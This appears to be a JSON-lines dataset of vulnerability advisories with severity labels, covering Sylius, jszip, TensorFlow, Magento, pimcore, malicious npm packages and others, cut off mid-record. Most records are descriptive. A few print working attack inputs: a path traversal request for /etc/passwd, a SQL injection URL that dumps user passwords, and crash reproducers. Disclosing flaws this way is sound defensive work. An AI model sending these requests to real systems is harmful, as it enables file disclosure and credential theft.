-{"id": "a87ff2497f77be8c7865", "text": "XSS injection in the Grid component of Sylius\n\nGrid component of Sylius omits HTML input sanitisation while rendering object implementing __toString() method through the string field type.", "text_raw": "XSS injection in the Grid component of Sylius\n\n[Severity: MEDIUM]\n\nGrid component of Sylius omits HTML input sanitisation while rendering object implementing __toString() method through the string field type.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-15", "split": "train"}
-{"id": "2852b423d768582b9520", "text": "jszip Vulnerable to Prototype Pollution\n\nThis affects the package jszip before 3.7.0. Crafting a new zip file with filenames set to Object prototype values (e.g `__proto__`, `toString`, etc) results in a returned object with a modified prototype instance.", "text_raw": "jszip Vulnerable to Prototype Pollution\n\n[Severity: MEDIUM]\n\nThis affects the package jszip before 3.7.0. Crafting a new zip file with filenames set to Object prototype values (e.g `__proto__`, `toString`, etc) results in a returned object with a modified prototype instance.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-10", "split": "train"}
-{"id": "5e37346d8fc0856900c9", "text": "Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability\n\nAffected: Microsoft Open Management Infrastructure (OMI)\n\nMicrosoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-1390\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability\n\nAffected: Microsoft Open Management Infrastructure (OMI)\n\nMicrosoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-1390\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b9daf642a9e1bdcf7941", "text": "Directory Traversal in exxxxxxxxxxx\n\nAffected versions of `exxxxxxxxxxx` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nThis vulnerability is only effective for files that have a file extension, which provides a partial mitigation.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in exxxxxxxxxxx\n\n[Severity: HIGH]\n\nAffected versions of `exxxxxxxxxxx` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\nThis vulnerability is only effective for files that have a file extension, which provides a partial mitigation. \n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "672c9215d6043c81ebbb", "text": "Microsoft Source Code Analyzer for SQL Injection 1.3 Improper Permissions", "text_raw": "Microsoft Source Code Analyzer for SQL Injection 1.3 Improper Permissions\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-03-16", "split": "train"}
-{"id": "9400a06f6fd176b8d925", "text": "SQL Injection in pimcore\n\n\"The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{\"keyId\"%3a\"''\",\"groupId\"%3a\"'asd'))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,'',11,12,'',14+from+users)+--+\"}]\"", "text_raw": "SQL Injection in pimcore\n\n[Severity: HIGH]\n\n\"The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{\"keyId\"%3a\"''\",\"groupId\"%3a\"'asd'))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,'',11,12,'',14+from+users)+--+\"}]\"", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "dbe14b54969faa460302", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0916, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "8195ba763440f3f5a230", "text": "Malicious Package in buffar-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffar-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "2703c5bceb6528429cd4", "text": "Segfault and data corruption in tensorflow-lite\n\n### Impact\nTo mimic Python's indexing with negative values, TFLite uses `ResolveAxis` to convert negative values to positive indices. However, the only check that the converted index is now valid is only present in debug builds:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/reference/reduce.h#L68-L72\n\nIf the `DCHECK` does not trigger, then code execution moves ahead with a negative index. This, in turn, results in accessing data out of bounds which results in segfaults and/or data corruption.\n### Patches\nWe have patched the issue in 2d88f470dea2671b430884260f3626b1fe99830a and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Segfault and data corruption in tensorflow-lite\n\n[Severity: MEDIUM]\n\n### Impact\nTo mimic Python's indexing with negative values, TFLite uses `ResolveAxis` to convert negative values to positive indices. However, the only check that the converted index is now valid is only present in debug builds:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/reference/reduce.h#L68-L72\n\nIf the `DCHECK` does not trigger, then code execution moves ahead with a negative index. This, in turn, results in accessing data out of bounds which results in segfaults and/or data corruption.\n### Patches\nWe have patched the issue in 2d88f470dea2671b430884260f3626b1fe99830a and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "513fbdaac119c6638c5c", "text": "Information disclosure through processing of external XML entities\n\nAn XML entity injection vulnerability exists in Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1. An authenticated admin user can craft document type definition for an XML representing XML layout. The crafted document type definition and XML layout allow processing of external entities which can lead to information disclosure.\n\nAs per [the Magento Release 2.3.3](https://web.archive.org/web/20201126132230/https://devdocs.magento.com/guides/v2.3/release-notes/release-notes-2-3-3-commerce.html#new-security-only-patch-available), if you have already implemented the pre-release version of this patch (2.3.2-p1), it is highly recommended to promptly upgrade to 2.3.2-p2.", "text_raw": "Information disclosure through processing of external XML entities\n\n[Severity: MEDIUM]\n\nAn XML entity injection vulnerability exists in Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1. An authenticated admin user can craft document type definition for an XML representing XML layout. The crafted document type definition and XML layout allow processing of external entities which can lead to information disclosure.\n\nAs per [the Magento Release 2.3.3](https://web.archive.org/web/20201126132230/https://devdocs.magento.com/guides/v2.3/release-notes/release-notes-2-3-3-commerce.html#new-security-only-patch-available), if you have already implemented the pre-release version of this patch (2.3.2-p1), it is highly recommended to promptly upgrade to 2.3.2-p2.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-12", "split": "train"}
-{"id": "e60aa78b8b3e8e10e054", "text": "Downloads Resources over HTTP in redis-srvr\n\nAffected versions of `redis-srvr` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `redis-srvr`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in redis-srvr\n\n[Severity: HIGH]\n\nAffected versions of `redis-srvr` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `redis-srvr`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not seen an update since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "c20180921b6f739ce1a3", "text": "Integer division by 0 in `tf.raw_ops.AllToAll`\n\n### Impact\nThe [shape inference code for `AllToAll`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/tpu_cross_replica_ops.cc#L25-L74) can be made to execute a division by 0:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef func():\n  return tf.raw_ops.AllToAll(\n    input=[0.0, 0.1652, 0.6543],\n    group_assignment=[1, -1],\n    concat_dimension=0,\n    split_dimension=0,\n    split_count=0)\n\nfunc()\n```\n\nThis occurs whenever the `split_count` argument is 0:\n\n```cc\nTF_RETURN_IF_ERROR(c->GetAttr(\"split_count\", &split_count));\n...                  \nfor (int32_t i = 0; i < rank; ++i) {      \n  ...                                     \n  dims[i] = c->MakeDim(c->Value(dims[i]) / split_count);\n  ...                \n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [a8ad3e5e79c75f36edb81e0ba3f3c0c5442aeddc](https://github.com/tensorflow/tensorflow/commit/a8ad3e5e79c75f36edb81e0ba3f3c0c5442aeddc).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Integer division by 0 in `tf.raw_ops.AllToAll`\n\n[Severity: MEDIUM]\n\n### Impact\nThe [shape inference code for `AllToAll`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/tpu_cross_replica_ops.cc#L25-L74) can be made to execute a division by 0:\n\n```python\nimport tensorflow as tf\n  \n@tf.function\ndef func():\n  return tf.raw_ops.AllToAll(\n    input=[0.0, 0.1652, 0.6543],\n    group_assignment=[1, -1],\n    concat_dimension=0,\n    split_dimension=0,\n    split_count=0)\n\nfunc()\n```\n\nThis occurs whenever the `split_count` argument is 0:\n  \n```cc\nTF_RETURN_IF_ERROR(c->GetAttr(\"split_count\", &split_count));\n...                  \nfor (int32_t i = 0; i < rank; ++i) {      \n  ...                                     \n  dims[i] = c->MakeDim(c->Value(dims[i]) / split_count);\n  ...                \n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [a8ad3e5e79c75f36edb81e0ba3f3c0c5442aeddc](https://github.com/tensorflow/tensorflow/commit/a8ad3e5e79c75f36edb81e0ba3f3c0c5442aeddc).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "88e10007fee53286e62f", "text": "Improper Limitation of a Pathname ('Path Traversal')  in org.apache.jspwiki:jspwiki-war\n\nA specially crafted url could be used to access files under the ROOT directory of the application on Apache JSPWiki 2.9.0 to 2.11.0.M2, which could be used by an attacker to obtain registered users' details.", "text_raw": "Improper Limitation of a Pathname ('Path Traversal')  in org.apache.jspwiki:jspwiki-war\n\n[Severity: HIGH]\n\nA specially crafted url could be used to access files under the ROOT directory of the application on Apache JSPWiki 2.9.0 to 2.11.0.M2, which could be used by an attacker to obtain registered users' details.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-08", "split": "train"}
-{"id": "1ae73bd0bbf4d33491bf", "text": "Prototype Pollution in mergify\n\nAll versions of `mergify` are vulnerable to Prototype Pollution. The `mergify()` function allows attackers to modify the prototype of Object causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module as the package is deprecated.", "text_raw": "Prototype Pollution in mergify\n\n[Severity: MEDIUM]\n\nAll versions of `mergify` are vulnerable to Prototype Pollution. The `mergify()` function allows attackers to modify the prototype of Object causing the addition or modification of an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module as the package is deprecated.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "5ca562eb6186740df929", "text": "Renovate vulnerable to Azure DevOps token leakage in logs\n\n### Impact\n\nApplies to Azure DevOps users only. The bot's token may be exposed in server or pipeline logs due to the `http.extraheader=AUTHORIZATION` parameter being logged without redaction. It is recommended that Azure DevOps users revoke their existing bot credentials and generate new ones after upgrading if there's a potential that logs have been saved to a location that others can view.\n\n### Patches\n\nFixed in\n\n### Workarounds\n\nDo not share Renovate logs with anyone who cannot be trusted with access to the token.", "text_raw": "Renovate vulnerable to Azure DevOps token leakage in logs\n\n[Severity: MEDIUM]\n\n### Impact\n\nApplies to Azure DevOps users only. The bot's token may be exposed in server or pipeline logs due to the `http.extraheader=AUTHORIZATION` parameter being logged without redaction. It is recommended that Azure DevOps users revoke their existing bot credentials and generate new ones after upgrading if there's a potential that logs have been saved to a location that others can view.\n\n### Patches\n\nFixed in \n\n### Workarounds\n\nDo not share Renovate logs with anyone who cannot be trusted with access to the token.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-14", "split": "train"}
-{"id": "d4441cf09342051ee815", "text": "Directory Traversal in enserver\n\nAffected versions of `enserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in enserver\n\n[Severity: HIGH]\n\nAffected versions of `enserver` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "b1e2e53b7fc06742aa06", "text": "Unchecked Return Value in xcb\n\nAn issue was discovered in the xcb crate through 2021-02-04 for Rust. It has a soundness violation because xcb::xproto::GetAtomNameReply::name() calls std::str::from_utf8_unchecked() on unvalidated bytes from an X server.", "text_raw": "Unchecked Return Value in xcb\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the xcb crate through 2021-02-04 for Rust. It has a soundness violation because xcb::xproto::GetAtomNameReply::name() calls std::str::from_utf8_unchecked() on unvalidated bytes from an X server.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8b03493a5ecced97c1ff", "text": "Tenda AC11 Router Stack Buffer Overflow Vulnerability\n\nAffected: Tenda AC11 Router\n\nTenda AC11 devices contain a stack buffer overflow vulnerability in /goform/setmac which allows attackers to execute code via a crafted post request.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Tenda AC11 Router Stack Buffer Overflow Vulnerability\n\nAffected: Tenda AC11 Router\n\nTenda AC11 devices contain a stack buffer overflow vulnerability in /goform/setmac which allows attackers to execute code via a crafted post request.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "4b78e5ff7b6dd0cb8da1", "text": "Tugux CMS 1.2 Multiple Remote Vulnerabilities", "text_raw": "Tugux CMS 1.2 Multiple Remote Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-05-22", "split": "train"}
-{"id": "25b98b75382d532181ac", "text": "Malicious Package in bpi39\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bpi39\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "c85ddec29245d49ddbf5", "text": "Denial of Service via Cache Flooding\n\n### Impact\n Denial of Service via Cache Flooding\n\n### Patches\nWe recommend to update to the current version 6.3.2.1. You can get the update to 6.3.2.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-10-2020", "text_raw": "Denial of Service via Cache Flooding\n\n[Severity: LOW]\n\n### Impact\n Denial of Service via Cache Flooding\n\n### Patches\nWe recommend to update to the current version 6.3.2.1. You can get the update to 6.3.2.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-10-2020", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-10-19", "split": "train"}
-{"id": "03ec7a9d0a0e3b0149e2", "text": "Out of bounds write in tensorflow-lite\n\n### Impact\nIn TensorFlow Lite models using segment sum can trigger a write out bounds / segmentation fault if the segment ids are not sorted. Code assumes that the segment ids are in increasing order, using the last element of the tensor holding them to determine the dimensionality of output tensor:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/segment_sum.cc#L39-L44\n\nThis results in allocating insufficient memory for the output tensor and in a write outside the bounds of the output array:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/reference/reference_ops.h#L2625-L2631\n\nThis usually results in a segmentation fault, but depending on runtime conditions it can provide for a write gadget to be used in future memory corruption-based exploits.\n\n### Patches\nWe have patched the issue in 204945b and will release patch releases for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1, or 2.3.1.\n\n### Workarounds\nA potential workaround would be to add a custom `Verifier` to the model loading code to ensure that the segment ids are sorted, although this only handles the case when the segment ids are stored statically in the model.\n\nA similar validation could be done if the segment ids are generated at runtime between inference steps.\n\nIf the segment ids are generated as outputs of a tensor during inference steps, then there are no possible workaround and users are advised to upgrade to patched code.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Out of bounds write in tensorflow-lite\n\n[Severity: CRITICAL]\n\n### Impact\nIn TensorFlow Lite models using segment sum can trigger a write out bounds / segmentation fault if the segment ids are not sorted. Code assumes that the segment ids are in increasing order, using the last element of the tensor holding them to determine the dimensionality of output tensor:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/segment_sum.cc#L39-L44\n\nThis results in allocating insufficient memory for the output tensor and in a write outside the bounds of the output array:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/reference/reference_ops.h#L2625-L2631\n\nThis usually results in a segmentation fault, but depending on runtime conditions it can provide for a write gadget to be used in future memory corruption-based exploits.\n\n### Patches\nWe have patched the issue in 204945b and will release patch releases for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1, or 2.3.1.\n\n### Workarounds\nA potential workaround would be to add a custom `Verifier` to the model loading code to ensure that the segment ids are sorted, although this only handles the case when the segment ids are stored statically in the model.\n\nA similar validation could be done if the segment ids are generated at runtime between inference steps.\n\nIf the segment ids are generated as outputs of a tensor during inference steps, then there are no possible workaround and users are advised to upgrade to patched code.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "0beab825b308bf496555", "text": "Denial-of-Service within Docker container\n\n### Impact\nIf you run teler inside a Docker container and encounter `errors.Exit` function, it will cause denial-of-service (`SIGSEGV`) because it doesn't get process ID and process group ID of teler properly to kills.\n\n### Specific Go Packages Affected\nktbs.dev/teler/pkg/errors\n\n### Patches\nUpgrade to the >= 0.0.1 version.\n\n### Workarounds\nN/A\n\n### References\n- https://github.com/kitabisa/teler/commit/ec6082049dba9e44a21f35fb7b123d42ce1a1a7e\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Issues Section](https://github.com/kitabisa/teler/issues)\n* Email us at [infosec@kitabisa.com](mailto:infosec@kitabisa.com)", "text_raw": "Denial-of-Service within Docker container\n\n[Severity: MEDIUM]\n\n### Impact\nIf you run teler inside a Docker container and encounter `errors.Exit` function, it will cause denial-of-service (`SIGSEGV`) because it doesn't get process ID and process group ID of teler properly to kills.\n\n### Specific Go Packages Affected\nktbs.dev/teler/pkg/errors\n\n### Patches\nUpgrade to the >= 0.0.1 version.\n\n### Workarounds\nN/A\n\n### References\n- https://github.com/kitabisa/teler/commit/ec6082049dba9e44a21f35fb7b123d42ce1a1a7e\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Issues Section](https://github.com/kitabisa/teler/issues)\n* Email us at [infosec@kitabisa.com](mailto:infosec@kitabisa.com)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "fb2a6a4f8feaea2ba99b", "text": "Broken encryption in EdgeX Foundry\n\n### Summary\nBroken encryption in app-functions-sdk “AES” transform in EdgeX Foundry releases prior to Jakarta allows attackers to decrypt messages via unspecified vectors.\n\n### Detailed Description\nThe app-functions-sdk exports an “aes” transform that user scripts can optionally call to encrypt data in the processing pipeline.  No decrypt function is provided.  Encryption is not enabled by default, but if used, the level of protection may be less than the user may expects due to a broken implementation in https://github.com/edgexfoundry/app-functions-sdk-go/blob/v1.0.0/pkg/transforms/encryption.go\n\nVersion v2.1.0 (EdgeX Foundry Jakarta release and later) of app-functions-sdk-go/v2 deprecates the “aes” transform and provides an improved “aes256” transform in its place.  The broken implementation will remain in a deprecated state until it is removed in the next EdgeX major release to avoid breakage of existing software that depends on the broken implementation.\n\n### Impact\nAs the broken transform is a library function that is not invoked by default, users who do not use the AES transform in their processing pipelines are unaffected.  Those that are affected are urged to upgrade to the Jakarta EdgeX release and modify processing pipelines to use the new \"aes256\" transform.\n\n#### Vulnerable go modules\n- github.com/edgexfoundry/app-functions-sdk-go  < v2.1.0\n- github.com/edgexfoundry/app-functions-sdk-go/v2  < v2.1.0\n- github.com/edgexfoundry/app-service-configurable < v2.1.0\n\n#### Vulnerable containers\n- https://hub.docker.com/r/edgexfoundry/app-service-configurable >= 2.0.0 < v2.1.0\n- https://hub.docker.com/r/edgexfoundry/app-service-configurable-arm64  >= 2.0.0 < 2.1.0\n- https://hub.docker.com/r/edgexfoundry/docker-app-service-configurable  < 2.0.0\n- https://hub.docker.com/r/edgexfoundry/docker-app-service-configurable-arm64 < 2.0.0\n\n#### Vulnerable Snaps\n- https://snapcraft.io/edgex-app-service-configurable >= 2.0.0 < 2.1.0\n\n### Patches\nUpgrade to 2.1.0 version of app-functions-sdk-go/v2, app-service-configurable, and related docker containers shown below and modify user scripts to use the new \"aes256\" transform in place of the existing \"aes\" transform.\n\n#### Patched go modules\n- github.com/edgexfoundry/app-functions-sdk-go/v2 v2.1.0\n- github.com/edgexfoundry/app-service-configurable v2.1.0\n\nModification of user scripts is necessary for full remediation.\n\n#### Patched containers\n- https://hub.docker.com/r/edgexfoundry/app-service-configurable:>=2.1.0\n- https://hub.docker.com/r/edgexfoundry/app-service-configurable-arm64:>=2.1.0\n\nModification of user scripts is necessary for full remediation.\n\n#### Patched Snaps\n- https://snapcraft.io/edgex-app-service-configurable >= 2.1.0\n\nModification of user scripts is necessary for full remediation.\n\n### Workarounds\nIf unable to upgrade, change the processing pipeline to use an HTTPS (TLS 1.3) endpoint to export and skip encryption.\n\n### References\n* [2.0 documentation](https://docs.edgexfoundry.org/2.0/microservices/application/BuiltIn/#aes)\n* [2.1 documentation](https://docs.edgexfoundry.org/2.1/microservices/application/BuiltIn/#encryption-deprecated)\n* [GitHub issue](https://github.com/edgexfoundry/app-functions-sdk-go/issues/968)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Contact us in the [Slack #security channel](https://slack.edgexfoundry.org/)\n* Open an issue in [edgex-go](https://github.com/edgexfoundry/edgex-go)\n* Email us at [EdgeX-TSC-Security@lists.edgexfoundry.org](mailto:EdgeX-TSC-Security@lists.edgexfoundry.org)", "text_raw": "Broken encryption in EdgeX Foundry\n\n[Severity: MEDIUM]\n\n### Summary\nBroken encryption in app-functions-sdk “AES” transform in EdgeX Foundry releases prior to Jakarta allows attackers to decrypt messages via unspecified vectors.\n\n### Detailed Description\nThe app-functions-sdk exports an “aes” transform that user scripts can optionally call to encrypt data in the processing pipeline.  No decrypt function is provided.  